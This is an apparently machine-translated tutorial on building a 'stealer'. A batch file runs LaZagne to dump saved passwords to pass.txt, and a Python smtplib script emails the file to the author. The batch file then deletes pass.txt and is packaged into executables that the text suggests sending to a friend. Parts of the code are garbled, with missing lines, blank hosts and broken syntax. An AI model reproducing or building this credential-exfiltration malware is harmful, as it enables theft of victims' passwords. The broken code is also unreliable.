Python Stiller Mailing

What do we do?

Hello, reader today we will talk about why it is not necessary to open unchecked files downloaded from unknown sources and create such a file in order to understand what it can do on your PC. We will create a styller who will collect all our passwords and send them to us by mail.

What is needed for this?

We will need:

  1. Python 3.xx
  2. Password recovery tool (in our case, LaZagne )
  3. Two google accounts

And so we begin

To get started, put the .exe tool file LaZagne in the folder with our project. Next, create a .bat file with any name (I will have main.bat) and a file.

We should get this structure:


  • laZagne.exe
  • main.bat

Write the code

Open the main.bat file and put the code there:

@Echo off
laZagne.exe all > pass.txt

Now when you launch our .bat file, we will have a pass.txt file in which all your passwords from browsers (and not only) will be. It remains only to send data to the mail. But how to do that?

Sending by mail

Open the file and paste the code:

import smtplib                                              
import os                                                   
import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              
defsend_email(addr_from, password, addr_to, files):                            
    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               
    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     
    process_attachement(msg, files)
    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('', 587)
    server.login(addr_from, password)
        #============================================defprocess_attachement(msg, files):for f in files:
        if os.path.isfile(f):                               
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
defattach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype isNoneor encoding isnotNone:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(, _subtype=subtype)    
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(, _subtype=subtype)
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(, _subtype=subtype)
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
_from = ""
_password = "password"
_to   = ""                                
files = ["pass.txt"]                                    
send_email(_from, _password, _to, files)

Now you need to configure and, depending on the service by which you will send mail, we change the highlighted code: Google (first you need to allow access for less secure applications ):

server = smtplib.SMTP('', 587)
server.login(addr_from, password)

server = smtplib.SMTP_SSL('', 25)
server.login(addr_from, password)


server = smtplib.SMTP_SSL('', 465)
server.login(addr_from, password)

Finish .bat

Now in our .bat file we add the startup code of the file and the deletion of the pass.txt file:
del /s "pass.txt"


Now, after running main.bat, your passwords will be sent to your email, but if you don’t have Python installed, you won’t need to turn our file into exe. To do this, open the console and write:

pip install pyinstaller
pyinstaller --onefile

But you also need to turn the main.bat file into main.exe, and Bat To Exe Converter will help us with this . Click on the button with three dots ("...") and look for your main.bat file, click "Open", then click "Convert" and get the file main.exe. These three files are our styler, we cansend to a friend and rejoice check for performance.


Also popular now: